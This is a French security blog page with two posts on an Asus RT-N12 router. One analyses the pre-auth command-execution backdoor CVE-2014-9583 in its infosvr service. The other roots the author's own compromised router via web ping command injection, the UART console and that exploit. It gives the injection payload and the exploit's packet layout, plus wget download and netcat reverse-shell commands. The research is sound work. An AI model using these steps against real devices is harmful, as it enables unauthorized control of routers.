le blog qui fouete

Aller au contenu | Aller au menu | Aller à la recherche

jeudi 4 février 2016

Analyse du CVE: 2014-9583

Introduction :

Dans le post précédent, nous avons utilisé un exploit disponible publiquement : https://www.exploit-db.com/exploits/35688/ Celui-ci exploit une backdoor installé par les développeurs et qui malheureusement ne vérifie pas le mot de passe.

Le matériel :

Nous allons avoir besoin de l'exploit lui-même ainsi que des sources de la version du firmware exploitable : celle-ci est téléchargeable ici : http://dlcdnet.asus.com/pub/ASUS/wireless/RT-N12_D1/GPL_RT_N12D1_30043763602.zip.

md5sum GPL_RT_N12D1_30043763602.zip

e41fc3a2b17489fa13d5c6905421b6a6 GPL_RT_N12D1_30043763602.zip

1 - Reconnaissance:

l'exploit nous renseigne sur où aller chercher : asuswrt/release/src/router/infosvr.

On y trouve infosvr.c ainsi que les libs associées. ( on vera que la faille est dans common.c )

On a enfin le fichier iboxcon.h présent ici : asuswrt/release/src/router/shared.

2 - Reverse de l'exploit

Voici la première partie de l'exploit : b'\x0C\x15\x33\x00'

disséquons ensemble comment le serveur va recevoir le paquet :

dans infoserv.c , nous avons ceci à la fin du main :

        if (res == 1)
        {
//            printf("got packet\n");
            processReq(sockfd);
        }

Remarquez au passage le printf de Debug

à chaque paquet reçu, on appel processReq. cette fonction se trouve à la suite.

int processReq(int sockfd)
{
<=================8<=============>
    iRcv = RECV(sockfd , pdubuf , INFO_PDU_LENGTH , (struct sockaddr *)&from_addr , &fromlen  , 1);

<=================8<=============>

    processPacket(sockfd, hdr);

}

Cette fonction se charge de récupérer les données et de les envoyer à processPacket qui elle, se trouve dans common.c

    phdr = (IBOX_COMM_PKT_HDR *)pdubuf; 
    phdr_res = (IBOX_COMM_PKT_RES_EX *)pdubuf_res;

    if (phdr->ServiceID==NET_SERVICE_ID_IBOX_INFO &&
    phdr->PacketType==NET_PACKET_TYPE_CMD)

A! quelque chose d'intéressant : pdubuf est maintenant une structure du type IBOX_COMM_PKT_HD.
Que nous retrouvons dans iboxcom.c

typedef struct iboxPKT
{
    BYTE        ServiceID;
    BYTE        PacketType;
    WORD        OpCode;
    DWORD        Info; // Or Transaction ID
} IBOX_COMM_PKT_HDR;

ServiceID et PacketType sont ensuite comparé à deux valeurs : Voyons ce que valent NET_SERVICE_ID_IBOX_INFO et NET_PACKET_TYPE_CMD

//Use For Network Communication Protocol

//Packet Type Section
#define NET_SERVICE_ID_BASE            (10)
#define NET_SERVICE_ID_LPT_EMU        (NET_SERVICE_ID_BASE + 1)
#define NET_SERVICE_ID_IBOX_INFO    (NET_SERVICE_ID_BASE + 2)


//Packet Type Section
#define NET_PACKET_TYPE_BASE        (20)
#define NET_PACKET_TYPE_CMD            (NET_PACKET_TYPE_BASE + 1)
#define NET_PACKET_TYPE_RES            (NET_PACKET_TYPE_BASE + 2)

Ha ! ils valent donc 12 ( 0x0c ) et 21 (0x15) respectivement. Tiens donc, tout comme dans notre exploit. ( b'\x0C\x15\x33\x00') où est donc la suite ?

L'exploit précise que nous avons besoin d'un Opcode ensuite  ( b'\x0C\x15\x33\x00'):

NET_CMD_ID_MANU_CMD,        //  51        0x33

Notre Opcode ici vaut bien NET_CMD_ID_MANU_CMD !

Pour la suite de l'exploit, nous avons un os.random(4) c'est juste un identifiant aléatoire. il n'est utilisé que si il est identique à la requête précédente :

    if (phdr->OpCode!=NET_CMD_ID_GETINFO && phdr->OpCode!=NET_CMD_ID_GETINFO_MANU&&
        phdr_res->OpCode==phdr->OpCode &&
        phdr_res->Info==phdr->Info)
    {   
        // if transaction id is equal to the transaction id of the last response message, just re-send message again;
        return pdubuf_res;
    }  

        // Check Mac Address
        if (memcpy(phdr_ex->MacAddress, mac, 6)==0)

Dans le même if, nous avons le check de l'addresse MAC, ce sont les premiers 6 octets de (b'\x00' * 38). ( les 32 suivants étant le mot de passe , laissé à 0)

notez au passage : ce petit bout de code commenté:

        // Check Password
        //if (strcmp(phdr_ex->Password, "admin")!=0)
        //{
        //    phdr_res->OpCode = phdr->OpCode | NET_RES_ERR_PASSWORD;
        //    _dprintf("Password Error %s\n", phdr_ex->Password);   
        //    return NULL;
        //}

La suite de l'exploit

     struct.pack('<H', len(enccmd)) + enccmd).ljust(512, b'\x00')

Enfin, on pack la commande : avec en préambule sa  taille et bourrée par des 00. Continuons sur le programme : Nous avons  un ÉNORME switch sur la ligne 251 :

    switch(phdr->OpCode)

avec par exmple :

    case NET_CMD_ID_MANU_CMD:

Nous allons donc aller directement sur ce "case".nous pouvons voir ici : 

    syscmd = (PKT_SYSCMD *)(pdubuf+sizeof(IBOX_COMM_PKT_HDR_EX));

que l'on place la commande envoyée dans la variable syscmd et que l'on fait ensuite

    system(cmdstr);

Sans aucune autre forme de procès. Sans aucune vérification de mot de passe.

Conclusion :

On a pas toujours forcément besoin de chercher trop loin pour découvrir et exploiter un bug. Mettez à jour votre matériel ou flashez le quand il arrive. cela évite un grand nombre de problème liés à la sécurité.

mercredi 3 février 2016

Rooting le rt-n12

Introduction :

AsusTek est une entreprise de création de matériel informatique, téléphonique et réseau. Son routeur RT-N12  est l'objet de cet article. Nous allons ici tenter d'obtenir un shell root sur la bête parce que celui-ci a été compromis. Comme nous ne voulons pas effacer d’éventuelles preuves , nous n'allons pas le flasher.

Le Materiel :

Il vous faudra : un PC avec un port Ethernet, votre butineur préféré ainsi qu'une interface UART ( optionnel ).

1 - Attaquer l'interface Web :

Sur tout les routeurs modernes, nous avons une interface Web pour faciliter la configuration de l'engin. Elle sont quasi tout le temps développées "in-house" et présentent souvent des failles de sécurité. Nous allons donc voir ce que nous pouvons tirer de celle de notre routeur.

On trouve immédiatement une interface pour effectuer des ping. Celles-ci appellent tout le temps le shell sous-jacent.On va donc injecter des commandes sur ce menu.

Regardons déjà la sortie standard en "Ciblant" l'IP de notre PC:

PING 192.168.1.139 (192.168.1.139): 56 data bytes
64 bytes from 192.168.1.139: seq=0 ttl=64 time=3.935 ms
64 bytes from 192.168.1.139: seq=1 ttl=64 time=6.019 ms
64 bytes from 192.168.1.139: seq=2 ttl=64 time=0.887 ms
64 bytes from 192.168.1.139: seq=3 ttl=64 time=0.854 ms
64 bytes from 192.168.1.139: seq=4 ttl=64 time=0.910 ms

--- 192.168.1.139 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.854/2.521/6.019 ms

 

Bon, on a un retour. voyons si nous lui injectons une commande avec $(ls)

BusyBox v1.17.4 (2014-11-05 00:29:30 CST) multi-call binary.

Usage: ping [OPTIONS] HOST

C'est aussi facile ? On dirait bien ! par contre, on a pas de retour, pas grave, on peut continuer à l'aveugle. On a déjà un bon indice, la version de BusyBox ( une "boite à outils" minimale pour linux ). 

cette technique n'est cependant pas très pratique à utiliser, nous verrons au point 4 comment la rendre plus joueuse.

2 - Ouvrir la bête :

Pendant son développement, les créateurs du routeur doivent avoir accès à une CLI pour pouvoir le débugger ou pour effectuer des tests. Il y a donc souvent sur les PCB des ports de type SPI, UART ou encore JTAG. Nous pouvons donc utiliser l'un de ces port pour avoir accès aux entrailles du routeur. L'UART est une interface série "en mode low power".  Le Bus Pirate offre entre autre une interface UART. C'est aussi le port le disponible sur la PCB de notre routeur.

Après quelque coups de tournevis , on a accès à la PCB. Il faut tout d'abords identifier le port UART : on le voit entouré sur la photo ( NB: j'y ai rajouté les pins pour un accès plus facile ):

Cela ne nous renseigne pas sur le câblage des pins. On peut utiliser un outils dédié : le JTAGULATOR, ou alors, le faire à la main.

On va faire ça avec les outils qu'on a à disposition : un multimètre numérique. On va déjà chercher la masse : on prend la masse sur  l'alimentation et on test toutes les pins. lorsque le multimètre en mode "testeur de diode" sonne, c'est qu'on a trouvé la masse ( pin N*3 en partant du haut sur la photo ). 

On va ensuite trouver VCC: on recommence la même manipulation qu'avant avec le routeur allumé , mais avec le multimètre en mode voltmètre à la recherche de 3.3V. On découvre que le port n*4 en partant du haut est stable sur 3.3v, c'est donc le Vcc. Les deux autres sont RX et TX, on les identifiera avec le bus pirate. On branche déjà GND ( surtout pas VCC, vous pourriez griller le routeur ET le bus pirate). On branche ensuite le RX et TX sur les pins 1 et 2 . Si lors de l'allumage, le bus pirate détecte quelque chose, c'est que le branchement est correct, sinon, on intervertit RX et TX.

La configuration de l'UART est la suivante :

Vitesse

Bits de données

Paritée

Bit de stop

115200 8 Non 1

Dans l'interface du bus pirate ça donne les commandes suivantes :

  1. m
  2. 3
  3. 9
  4. 1
  5. 1
  6. 1
  7. 2
  8. (1) <= cette commande met le bus pirate en mode passif. toute commande envoyé après celle-ci ira sur le port UART.
  9. y
/ # uname -a
Linux (none) 2.6.22.19 #1 Wed Nov 5 00:32:32 CST 2014 mips GNU/Linux

Voila, nous avons un shell Root sur le routeur.

3 - Exploit pre-auth:

On a de la chance : cette version du firmware possède une erreur de programmation qui permet de lancer une commande sans même avoir d’accès au routeur. L'exploit se trouve ici : https://www.exploit-db.com/exploits/35688/

Celui-ci et capable de lancer une commande pre-auth sur le routeur. On le lance avec l'IP du routeur et la commande à effectuer, et voila !

Encore une fois, c'est pas très pratique : on verra comment le rendre plus fun dans le point suivant 

4 - Post-rooting:

On a à présent une commande sur le routeur. Mais certaine  de ces techniques ne sont pas très utiles tant que l'on n'a pas encore "rootkité" le routeur. On veut un shell stable et qui fonctionne comme mon shell sur mon linux. Busybox offre dans ses dernières versions un netcat parfaitement fonctionnel avec qui plus est , l'option -e ( pour "plugger" les entrées et sorties standard d'un processus )

On va donc installer une busybox dernière version sur le routeur.

Les points à effectuer : 

  1. Obtenir une meilleur version de busybox
  2. installer celle-ci sur le routeur 
  3. Obtenir un reverse shell

Déjà trouver une busybox compatible. Ce sera un MIPS Little Endian. Une version est téléchargeable directement ici : https://www.busybox.net/downloads/binaries/latest/ celle qui nous intéresse est la mipsel. Une fois obtenue, il faut la mettre sur le routeur.

Python possède un outils très puissant : SimpleHTTPServer : dans le même répertoire que la version de busybox fraîchement téléchargée, on exécute :

python -m SimpleHTTPServer 80

Ceci va lancer un serveur HTTP , il ne reste plus qu'à la télécharger sur le routeur :

wget http://192.168.1.139/busybox-mipsel -O /tmp/busybox

puis :

chmod 777 /tmp/busybox

Nous avons à présent une nouvelle busybox sur le routeur. On va déjà placer un netcat en écoute sur le PC:

 nc -l -p 1234

Et enfin, dans le shell du routeur :

/tmp/busybox nc 192.168.1.139 1234 -e /bin/sh

Un p'tit test :

ls -alh
drwxr-xr-x   10 admin    root        3.5K Nov  4  2014 .
drwxr-xr-x   18 admin    root         225 Nov  4  2014 ..
-rw-r--r--    1 admin    root       13.0K Nov  4  2014 Advanced_ACL_Content.asp
-rw-r--r--    1 admin    root       14.2K Nov  4  2014 Advanced_ASUSDDNS_Content.asp
-rw-r--r--    1 admin    root        7.8K Nov  4  2014 Advanced_BasicFirewall_Content.asp
<============== 8<====================>
-rw-r--r--    1 admin    root       34.6K Nov  4  2014 validator.js
-rw-r--r--    1 admin    root          38 Nov  4  2014 wds_aplist_2g.asp
-rw-r--r--    1 admin    root          38 Nov  4  2014 wds_aplist_5g.asp
-rw-r--r--    1 admin    root          40 Nov  4  2014 wds_aplist_5g_2.asp
-rw-r--r--    1 admin    root        1.7K Nov  4  2014 wlconn_apply.htm
lrwxrwxrwx    1 admin    root          18 Nov  4  2014 wpad.dat -> /www/ext/proxy.pac

Et voila, on a un shell à travers le réseau ! on peut à présent déplacer  les binaires avec netcat sur le PC pour les analyser. Nous allons d’ailleurs récupérer infosvr pour analyse.